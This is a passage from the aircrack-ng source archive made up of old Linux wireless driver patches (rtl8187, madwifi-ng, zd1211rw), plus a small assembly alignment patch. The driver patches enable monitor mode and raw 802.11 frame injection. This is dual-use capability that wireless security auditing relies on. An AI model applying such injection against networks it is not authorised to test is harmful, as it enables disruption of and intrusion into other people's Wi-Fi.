+2621,7 @@ return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2633,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-03-05 00:31:52.575346444 +0100 @@ -18,7 +18,7 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { +const long ieee80211_wlan_frequencies_rtl7[] = { 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, @@ -26,7 +26,7 @@ }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; @@ -46,7 +46,7 @@ int f = fwrq->m / 100000; int c = 0; - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; /* hack to fall through */ @@ -68,8 +68,8 @@ if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -95,7 +95,7 @@ return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -124,7 +124,7 @@ } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -154,7 +154,7 @@ } if (ifup) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* just to avoid to give inconsistent infos in the * get wx method. not really needed otherwise @@ -167,14 +167,14 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (ifup) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; @@ -209,7 +209,7 @@ } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -223,7 +223,7 @@ -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -233,7 +233,7 @@ return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -254,9 +253,9 @@ if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); } out: @@ -264,8 +263,14 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -275,12 +280,12 @@ if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); ieee->set_chan(ieee->dev, chan); @@ -291,7 +296,7 @@ ieee->data_hard_resume(ieee->dev); if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); netif_carrier_on(ieee->dev); @@ -299,7 +304,7 @@ } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; @@ -322,7 +327,7 @@ return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { @@ -348,7 +353,7 @@ } if(proto_started) - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise @@ -356,7 +361,11 @@ spin_lock_irqsave(&ieee->lock, flags); if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; +#endif strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; @@ -371,13 +380,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,7 +394,7 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -422,7 +431,7 @@ return 0; } -int ieee80211_wx_get_name(struct ieee80211_device *ieee, +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -446,7 +455,7 @@ /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -509,7 +518,7 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -547,19 +556,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-03-05 00:31:52.575346444 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -155,7 +158,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +181,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +228,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +238,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +270,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +400,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +435,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +449,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +461,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +485,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +508,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-03-05 00:31:52.635347349 +0100 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r2277.patch0000644000000000000000000000200111134713404020741 0ustar rootrootdiff -ur madwifi-ng/ath/if_ath.c madwifi-ng-patched/ath/if_ath.c --- madwifi-ng/ath/if_ath.c 2007-04-14 15:42:02.000000000 +0200 +++ madwifi-ng-patched/ath/if_ath.c 2007-04-14 15:43:18.000000000 +0200 @@ -2285,6 +2285,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2298,7 +2299,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; Only in madwifi-ng-patched/ath: if_ath.c~ aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1679.patch0000644000000000000000000000175710761053203020766 0ustar rootrootdiff -ur madwifi-ng-r1679/ath/if_ath.c patched_madwifi-ng-r1545/ath/if_ath.c --- madwifi-ng-r1679/ath/if_ath.c 2006-07-04 12:23:35.000000000 +0200 +++ patched_madwifi-ng-r1679/ath/if_ath.c 2006-07-08 02:38:59.000000000 +0200 @@ -2248,6 +2248,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2264,7 +2265,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/aicrack-ng-rc2_Intel_macOSX.patch0000644000000000000000000000043111231661020023165 0ustar rootrootIndex: sha1-sse2.S =================================================================== --- sha1-sse2.S (revision 1470) +++ sha1-sse2.S (working copy) @@ -21,7 +21,7 @@ .globl _shasse2_cpuid; .data -.align(16) +.align(12) const_init_a: .long 0x67452301 .long 0x67452301 aircrack-ng-1.2-rc4/patches/old/zd1211rw_inject_2.6.23.patch0000644000000000000000000001762012103567066021622 0ustar rootrootdiff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-12-04 00:07:04.000000000 +0100 @@ -164,8 +164,17 @@ static int reset_mode(struct zd_mac *mac) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); - u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + struct zd_ioreq32 ioreqs[] = { + { CR_RX_FILTER, STA_RX_FILTER }, + { CR_SNIFFER_ON, 0U }, + }; + + if (ieee->iw_mode == IW_MODE_MONITOR) { + ioreqs[0].value = 0xffffffff; + ioreqs[1].value = 0x1; + } + + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } int zd_mac_open(struct net_device *netdev) @@ -211,7 +220,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -778,6 +793,8 @@ struct ieee80211_hdr_4addr *hdr) { struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + struct ieee80211softmac_txrates *txrates = &softmac->txrates; u16 ftype = WLAN_FC_GET_TYPE(le16_to_cpu(hdr->frame_ctl)); u8 rate, zd_rate; int is_mgt = (ftype == IEEE80211_FTYPE_MGMT) != 0; @@ -787,10 +804,16 @@ int flags = 0; /* FIXME: 802.11a? */ - rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); - - if (short_preamble) - flags |= R2M_SHORT_PREAMBLE; + if(ieee->iw_mode == IW_MODE_MONITOR) + { + rate = txrates->default_rate; + } + else + { + rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); + if (short_preamble) + flags |= R2M_SHORT_PREAMBLE; + } zd_rate = rate_to_zd_rate(rate); cs->modulation = zd_rate_to_modulation(zd_rate, flags); @@ -800,6 +823,7 @@ struct ieee80211_hdr_4addr *header) { struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); unsigned int tx_length = le16_to_cpu(cs->tx_length); u16 fctl = le16_to_cpu(header->frame_ctl); u16 ftype = WLAN_FC_GET_TYPE(fctl); @@ -813,13 +837,21 @@ cs->control = 0; - /* First fragment */ - if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + if(ieee->iw_mode == IW_MODE_MONITOR) + { cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; - - /* Multicast */ - if (is_multicast_ether_addr(header->addr1)) cs->control |= ZD_CS_MULTICAST; + } + else + { + /* First fragment */ + if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; + + /* Multicast */ + if (is_multicast_ether_addr(header->addr1)) + cs->control |= ZD_CS_MULTICAST; + } /* PS-POLL */ if (ftype == IEEE80211_FTYPE_CTL && stype == IEEE80211_STYPE_PSPOLL) @@ -846,6 +878,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -869,7 +902,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); +/* if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else*/ + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -925,7 +961,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -945,6 +985,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -958,7 +1000,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -972,6 +1016,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1078,7 +1125,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)){ struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-12-04 00:07:33.000000000 +0100 @@ -811,6 +811,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur 